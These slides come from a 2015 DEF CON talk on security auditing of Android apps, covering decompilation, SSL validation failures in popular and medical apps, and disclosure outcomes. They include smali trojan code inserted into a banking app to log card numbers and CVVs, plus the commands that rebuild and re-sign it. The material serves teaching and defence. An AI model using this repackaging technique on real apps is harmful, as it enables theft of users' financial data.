Security Auditing Mobile Apps

DEF CON 23
Sat., Aug 9, 2015 9-1
Sam Bowne
City College San Francisco

Slides and projects at samsclass.info
Adding Trojans to Apps

Slides and projects at samsclass.info
Android is #1

- 80% market share in 2014
  – Link Ch 4a

Source: IDC, Strategy Analytics

Slides and projects at samsclass.info
App Signing

• All apps must be signed to be installed, BUT
  – Android allows self-signed certificates
• Google Play is the "official" app store, BUT
  – Google doesn't police it well
  – Apps can be installed from email, Web pages, etc.
Android Debug Bridge

- Command-line tool
- Allows you to communicate with a mobile device via a USB cable or an SVD running within an emulator
- Connects to device's daemon running on TCP port 5037

Slides and projects at samsclass.info
Useful ADB Commands

• push
  – Copies a file from your computer to the mobile device

• pull
  – Copies a file from the mobile device to your computer

• logcat
  – Shows logging information on the console
  – Useful to see if an app or the OS is logging sensitive information

Slides and projects at samsclass.info
Useful ADB Commands

• install
  – Copies an application package file (APK) to the mobile device and installs the app
  – Useful for side-loading apps (so you don't have to use Google Play)

• shell
  – Starts a remote shell on the mobile device
  – Allows you to execute arbitrary commands
Decompiling and Disassembly

Slides and projects at samsclass.info
Static Analysis

• Source code is generally kept confidential by app developers

• A binary, compiled app can be analyzed by disassembling or decompiling them, into
  – Smali assembly code (used by Dalvik VM), or
  – Java code
Project 9: Decompiling and Trojaning an Android App with Smali Code (15 points)

```
... sambowne Sun Feb 01 07:10:02
~ $cd Downloads/

... sambowne Sun Feb 01 07:10:13
Downloads $java -jar apktool_2.0.0rc3.jar d app-release.apk
I: Using Apktool 2.0.0-RC3 on app-release.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/sambowne/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baking classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

... sambowne Sun Feb 01 07:10:24
Downloads $`
```
TD Ameritrade

- No obfuscation

Slides and projects at samsclass.info
Bank of America

- ProGuard Free Obfuscator
  - Worthless

Slides and projects at samsclass.info
Java v. Smali Code

```java
public int performLogin(String server, String port, String username, String password) {
    throws JSONException, IOException, HttpException {
        // First perform the RESTful operation
        String protocol = mHttpsMode ? "https://" : "http://";
        String url = protocol + server + ":" + port + "/login";
        Map<String, String> parameters = new HashMap<>();
        parameters.put("username", username);
        parameters.put("password", password);
    }
}
```

```smali
.method public performLogin(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;) Ljava/lang/String;
    .locals 10
    .param p1, "server"    # Ljava/lang/String;
    .param p2, "port"     # Ljava/lang/String;
    .param p3, "username" # Ljava/lang/String;
    .param p4, "password" # Ljava/lang/String;
    .annotation system Ldalvik/annotation/throws;
        value = {
            Lorg/json/JSONException;
            Ljava/io/IOException;
            Lcom/securitycompass/androidlabs/base/HttpException;
        }
    .end annotation
```
Building & Signing an App

`java -jar apktool_2.0.0rc3.jar b app-release`

`jarsigner -verbose -keystore ~/Box\ Sync/website/128/proj/p9cert.jks app-release/dist/app-release.apk proj9key`

Slides and projects at samsclass.info
Monitoring the Log

Slides and projects at samsclass.info
./adb logcat

• Much better way to monitor log
• Filter with grep
Attacks via Decompiling and Disassembly

• Insert Trojan code, like keyloggers
• Find encryption methods & keys
• Change variables to bypass client-side authentication or input validation
• Cheat at games
Dancing with Dalvik
THOMAS RICHARDS

Getting to dalvik

- Android apps are traditionally written in Java
- Compiled into Java bytecode then converted to Dalvik bytecode
- Java class files converted into .dex

- Link Ch 4z43

Slides and projects at samsclass.info
Step-by-Step: Bank of America

The Bank of America app lets you easily view balances, make transfers, and more.

Slides and projects at samsclass.info
Step-by-Step: Bank of America

Slides and projects at samsclass.info
Step-by-Step: Bank of America

```
.method private l()V
# CHANGED FROM 3 to 5 FOR TROJAN
.locals 5

.prologue
.line 185
new-instance v1, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;

.invoke-direct {v1}, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;-><init>()V
.line 186
.iget-object v0, p0, Lcom/bofa/ecom/auth/activities/enrollments/BusCcDetailsActivity;->w:Ljava/lang/String;

.invoke-virtual {v1, v0}, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;->setCardNumber(Ljava/lang/String;)V

# EVIL TROJAN CODE
.const-string v3, "BofA TROJAN CARD NUMBER"
.invoke-static {v3, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
# END OF EVIL TROJAN CODE

.line 189
.iget-object v0, p0, Lcom/bofa/ecom/auth/activities/enrollments/BusCcDetailsActivity;->x:Ljava/lang/String;

.invoke-virtual {v1, v0}, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;->setCvv(V

# EVIL TROJAN CODE
.const-string v3, "BofA TROJAN CARD CVV"
.invoke-static {v3, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
# END OF EVIL TROJAN CODE
```

Slides and projects at samsclass.info
Step-by-Step: Bank of America

```
com.infonow.bofa-1 $java -jar ../../apktool_2.0.0-rc3.jar b.
I: Using Apktool 2.0.0-RC3 on.
I: Checking whether sources has changed...
I: Smalng smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs...
I: Building apk file...
I: Copying unknown files/dir...
```

```
com.infonow.bofa-1 $jarsigner -keystore ../../p9cert.jks ./dist/com.infonow.bofa-1.apk proj9key
Enter Passphrase for keystore:
jar signed.

Warning:
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not start using the app after the signer certificate's expiration date (2040-01-26) or after any future revocation date.
```

Slides and projects at samsclass.info
DEMO: Bank of America

Slides and projects at samsclass.info
DEMO: Capital One

The map is on this page, in an extremely inconvenient form:


Here are some selected values:

<table>
<thead>
<tr>
<th>LETTER</th>
<th>KEYCODE</th>
</tr>
</thead>
<tbody>
<tr>
<td>a</td>
<td>29</td>
</tr>
<tr>
<td>b</td>
<td>30</td>
</tr>
<tr>
<td>c</td>
<td>31</td>
</tr>
</tbody>
</table>

Slides and projects at samsclass.info
DEMO: SunTrust

- Konylabs
- Capture HTTP Parameters

Slides and projects at samsclass.info
DEMO: TradeKing

- App is patched!
- "Verifier" detects the Trojan
DroidDream (2011)

• Was primarily distributed by the Google Play store
• Legitimate apps were repackaged to include DroidDream and then put back in the Play store

DroidDream Becomes Android Market Nightmare

By Tony Bradley, PCWorld
Mar 2, 2011 8:10 PM

For many Android fans, one of the most important elements of the OS is that it is open. Unlike the draconian rules for the Apple App Store, and the tightly-controlled user experience of iOS, Android is an open source platform with much more lenient access to the Android Market. That freedom can also be exploited, though, to slip malicious apps into the mainstream.
Google's Response

• Google removed the repackaged apps from the Play Store
• But 50,000 – 200,000 users were already infected
Google Application Verification Service

- Launched in 2012
- Tries to detect malicious apps
- Much less effective than 3\textsuperscript{rd}-party AV
  - Link Ch 5e

A comparison of malware detection capabilities (w/ samples from Android Malware Genome Project)
Decompiling, Disassembly, and Repackaging Countermeasures

• Every binary can be reverse-engineered
  – Given enough time and effort
• Never store secrets on the client-side
• Never rely on client-side authentication or client-side validation
• Obfuscate source code
  – ProGuard (free) or Arxan (commercial)
DashO – Powerful Obfuscator

const-string v1, "wqgsmdoexRhf|t|ryp"

invoke-static {v1, v4}, Lcom/securitycompass/androidlabs/base/eval
move-result-object v1
invoke-virtual {v0, v1}, Landroid/content/Intent;->hasExtra(Ljava/lang/Object;
move-result v1
if-eqz v1, :cond_0
const/16 v1, 0x75f

const-string v2, ",4 6&) (3\u0017/#')#/"5"

invoke-static {v1, v2}, Lcom/securitycompass/androidlabs/base/f;->

Slides and projects at samsclass.info
All Strings Concealed

• BUT it costs $2000

```
. . . . . . . . . sambowne Sun Feb 15 06:58:48
app-release-unaligned $cd smali/

. . . . . . . . . sambowne Sun Feb 15 06:58:50
smali $grep -ir password .

. . . . . . . . . sambowne Sun Feb 15 06:59:03
smali $grep -ir login .

. . . . . . . . . sambowne Sun Feb 15 06:59:12
smali $
```

Slides and projects at samsclass.info
OWASP Mobile Top 10 Risks

M1 – Weak Server Side Controls
M2 – Insecure Data Storage
M3 - Insufficient Transport Layer Protection
M4 - Unintended Data Leakage
M5 - Poor Authorization and Authentication
M6 - Broken Cryptography
M7 - Client Side Injection
M8 - Security Decisions Via Untrusted Inputs
M9 - Improper Session Handling
M10 - Lack of Binary Protections

Slides and projects at samsclass.info
Broken SSL
Repeating Old Work
CERT's Test in 2014

Finding Android SSL Vulnerabilities with CERT Tapioca

By Will Dormann on 09/03/2014 | Permalink

Hey, it's Will. In my last blog post, I mentioned the release of CERT Tapioca, an MITM testing appliance.

- 23,667 vulnerable apps
- All warned in 2014 by CERT

Slides and projects at samsclass.info
Popular Android Apps with SSL Certificate Validation Failure

<table>
<thead>
<tr>
<th>App</th>
<th>Vulnerability</th>
</tr>
</thead>
<tbody>
<tr>
<td>PicsArt (100 Million Downloads)</td>
<td>SSL MITM</td>
</tr>
<tr>
<td>ASTRO File Manager with Cloud (50 Million Downloads)</td>
<td>SSL MITM</td>
</tr>
<tr>
<td>ES File Explorer File Manager (100 Million Downloads)</td>
<td>SSL MITM</td>
</tr>
<tr>
<td>CityShop - for Craigslist (10 Million Downloads)</td>
<td>SSL MITM</td>
</tr>
<tr>
<td>Truecaller - Caller ID &amp; Block (50 Million Downloads)</td>
<td>Plaintext PII Transmission</td>
</tr>
<tr>
<td>Instachat (5 Million Downloads)</td>
<td>SSL MITM</td>
</tr>
<tr>
<td>Phone for Google Voice &amp; GTalk (1 Million Downloads)</td>
<td>SSL MITM</td>
</tr>
<tr>
<td>OkCupid (5 Million Downloads)</td>
<td>SSL MITM</td>
</tr>
<tr>
<td>Safeway (1 Million Downloads)</td>
<td>SSL MITM</td>
</tr>
</tbody>
</table>
Simple SSL Test

- Route Android traffic through Burp Proxy
- Don't install the PortSwigger root certificate
- This is a MITM attack
- The default browser detects it
DEMO: PicsArt (100 Million)

Slides and projects at samsclass.info
DEMO: InstaChat (100 Million)

Please log in to your Instagram account. Please use your **UserName**. Do not use Email address.

Slides and projects at samsclass.info
DEMO: OKCupid – FIXED!

Security Alert

You are currently on a Wi-Fi network that OkCupid considers unsafe. Try another Wi-Fi network or use your cellular network instead.

Network Settings  Trust this network

Slides and projects at samsclass.info
DEMO: Safeway (1 Million)

Slides and projects at samsclass.info
Broken SSL
Medical Apps

Slides and projects at samsclass.info
CERT found 265 Vulnerable Medical Apps

<table>
<thead>
<tr>
<th>App</th>
<th>Link</th>
<th>Genre</th>
<th>Count</th>
<th>Date added</th>
<th>Version tested</th>
<th>Malicious broker</th>
<th>Library traffic observed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kelsey Pharmacy</td>
<td>com.kelseypharma...</td>
<td>Medical</td>
<td>100+</td>
<td>2014-11-20</td>
<td>1.04.05</td>
<td>TRUE</td>
<td>TRUE</td>
</tr>
<tr>
<td>Kidfolio Baby Tracker &amp; Book</td>
<td>com.alt12.kidf...</td>
<td>Medical</td>
<td>60,000+</td>
<td>2014-11-14</td>
<td>2.2.1</td>
<td>Maybe</td>
<td>TRUE</td>
</tr>
<tr>
<td>La Croix du Sud Hospital</td>
<td>com.wLaCroix...</td>
<td>Medical</td>
<td>100+</td>
<td>2014-12-22</td>
<td>0.1</td>
<td>Maybe</td>
<td>TRUE</td>
</tr>
<tr>
<td>Lab4U Plus</td>
<td>ru.lab4u.plus</td>
<td>Medical</td>
<td>500+</td>
<td>2014-12-09</td>
<td>1.0</td>
<td>TRUE</td>
<td>TRUE</td>
</tr>
<tr>
<td>Laboratorio LB</td>
<td>apolab.com</td>
<td>Medical</td>
<td>10+</td>
<td>2015-01-01</td>
<td>1.0</td>
<td>TRUE</td>
<td>TRUE</td>
</tr>
<tr>
<td>Lepointvitraux.fr</td>
<td>com.wolffe...</td>
<td>Medical</td>
<td>1,000+</td>
<td>2014-10-21</td>
<td>2.3</td>
<td>TRUE</td>
<td>TRUE</td>
</tr>
<tr>
<td>LIFE Pregnancy Counselling</td>
<td>com.wLIFEPregnancyC...</td>
<td>Medical</td>
<td>100+</td>
<td>2014-12-31</td>
<td>0.21.13285.45246</td>
<td>Maybe</td>
<td>TRUE</td>
</tr>
<tr>
<td>Liver Health - Hepatits C</td>
<td>ow.nyc.dohmb...</td>
<td>Medical</td>
<td>100+</td>
<td>2014-10-11</td>
<td>2.0.0</td>
<td>Maybe</td>
<td>TRUE</td>
</tr>
<tr>
<td>Los Angeles Dog Emergency Tips</td>
<td>com.andro...</td>
<td>Medical</td>
<td>100+</td>
<td>2015-01-16</td>
<td>1.0</td>
<td>TRUE</td>
<td>TRUE</td>
</tr>
<tr>
<td>LowestMed Corporate Rx</td>
<td>com.lowestmed...</td>
<td>Medical</td>
<td>1,000+</td>
<td>2014-12-21</td>
<td>1.0.5</td>
<td>TRUE</td>
<td>TRUE</td>
</tr>
<tr>
<td>Lucas CPR</td>
<td>com.appsb...</td>
<td>Medical</td>
<td>100+</td>
<td>2014-10-15</td>
<td>2.0</td>
<td>FALSE</td>
<td>TRUE</td>
</tr>
<tr>
<td>Ma Pharmacie Mobile</td>
<td>com.pharmaset...</td>
<td>Medical</td>
<td>10,000+</td>
<td>2014-11-10</td>
<td>2.0.4</td>
<td>FALSE</td>
<td>TRUE</td>
</tr>
<tr>
<td>malpractice</td>
<td>com.wsMalpractice</td>
<td>Medical</td>
<td>10+</td>
<td>2014-11-14</td>
<td>0.21.13285.69483</td>
<td>TRUE</td>
<td>TRUE</td>
</tr>
<tr>
<td>Mamma-Ca</td>
<td>de.medac.mammaf...</td>
<td>Medical</td>
<td>100+</td>
<td>2014-11-16</td>
<td>1.1.2</td>
<td>TRUE</td>
<td>TRUE</td>
</tr>
<tr>
<td>Mandal Herbalist Clinic</td>
<td>com.wMANDAHER...</td>
<td>Medical</td>
<td>100+</td>
<td>2014-11-23</td>
<td>0.1</td>
<td>Maybe</td>
<td>TRUE</td>
</tr>
<tr>
<td>Marlo Hair</td>
<td>com.MarboHair</td>
<td>Medical</td>
<td>1+</td>
<td>2014-12-06</td>
<td>0.1</td>
<td>Maybe</td>
<td>TRUE</td>
</tr>
<tr>
<td>Maryvale</td>
<td>com.abraxhealth...</td>
<td>Medical</td>
<td>100+</td>
<td>2015-01-16</td>
<td>1.0</td>
<td>TRUE</td>
<td>TRUE</td>
</tr>
<tr>
<td>Medical Directory</td>
<td>com.wMedical/Direct...</td>
<td>Medical</td>
<td>500+</td>
<td>2014-11-18</td>
<td>0.1</td>
<td>Maybe</td>
<td>TRUE</td>
</tr>
</tbody>
</table>

Android SSL Failure Summary, Android App SSL Failures, Android Library SSL Failures

Slides and projects at samsclass.info
**Safeguards Principle:** Individually identifiable health information should be protected with reasonable administrative, technical, and physical safeguards to ensure its confidentiality, integrity, and availability and to prevent unauthorized or inappropriate access, use, or disclosure.
My Repeat of CERT Tests

<table>
<thead>
<tr>
<th>In my opinion, all the apps below fail to comply with HIPAA</th>
</tr>
</thead>
<tbody>
<tr>
<td>Eyexam (5000 Downloads)</td>
</tr>
<tr>
<td>Garland &amp; Associates (10 Downloads)</td>
</tr>
<tr>
<td>GenieMD (10,000 Downloads)</td>
</tr>
<tr>
<td>Liver Health - Hepatitis C (500 Downloads)</td>
</tr>
<tr>
<td>LowestMed Corporate Rx (1000 Downloads)</td>
</tr>
<tr>
<td>Order Mvi (50 Downloads)</td>
</tr>
<tr>
<td>Pain Timer (50 Downloads)</td>
</tr>
<tr>
<td>Pharmacy Health Connect (1000 Downloads)</td>
</tr>
<tr>
<td>Pulsara (100 Downloads)</td>
</tr>
<tr>
<td>RCEMS Field Guide (1000 Downloads)</td>
</tr>
<tr>
<td>RCP Sacramento (500 Downloads)</td>
</tr>
<tr>
<td>Rx Refills (1000 Downloads)</td>
</tr>
<tr>
<td>T-Res Fast Clinical Logging (1000 Downloads)</td>
</tr>
<tr>
<td>UCLA eLBD (100 Downloads)</td>
</tr>
<tr>
<td>UCLA Health (1000 Downloads)</td>
</tr>
<tr>
<td>Virtual Physician's Network (1 Download)</td>
</tr>
</tbody>
</table>

In SSL MITM

| Plaintext HTTP authentication |

Slides and projects at samsclass.info
DEMO: GenieMD

Sign Up With Email

I-TRUST-GENIEMD@AOL.COM

..................

..................

CANCEL   SIGN UP

---

PUT /GenieMD.Com/resources/Email/SignUp HTTP/1.1
accept: application/json
Content-Length: 60
Content-Type: application/json
Host: www.geniemd.net
Connection: Keep-Alive

{"email":"I-TRUST-GENIEMD@AOL.COM","password":"PASSWORD123"}

Slides and projects at samsclass.info
DEMO: LowestMed corporate

Slides and projects at samsclass.info
LowestMed Response

• Phone call to President of CCSF threatening a lawsuit

• After I contacted their lawyer, he told me that there is no PII in the app beyond this point, so it is not a covered entity under HIPAA
Broken SSL
Testing New Apps

Slides and projects at samsclass.info
Responsible Disclosure

• I need to give these guys time to respond, so most of them are still confidential
• I can discuss one, because they fixed it really fast!

Slides and projects at samsclass.info
Blue Cross Blue Shield of North Carolina

Slides and projects at samsclass.info
Leaked Blue Cross Credentials

- Also leaked Facebook, Twitter, and YouTube credentials
Fixed in Two Days

- New version refuses to use invalid SSL certificates
Security Products
AIG MobileGuard

Security app required for insurance coverage

Removed from Google Play after my reports

Slides and projects at samsclass.info
Already Trojaned 😊

Slides and projects at samsclass.info
Local Storage of Sensitive Data

Slides and projects at samsclass.info
DEMO: MobileSuperHero (10,000)

- Logs the PIN
- Last update 12-13-12

Slides and projects at samsclass.info
DEMO: Virgin Mobile Rescue (100,000)

- Logs the PIN
- Last update 7-22-13
- Must uninstall Mobile Superhero to use it

Slides and projects at samclass.info
DEMO: Rebound (50)

- Logs the PIN
- Last update 7-16-13
DEMO: Rebound Mobile Security (50)

- Logs the PIN
- Last updated 11-7-2013

Slides and projects at samsclass.info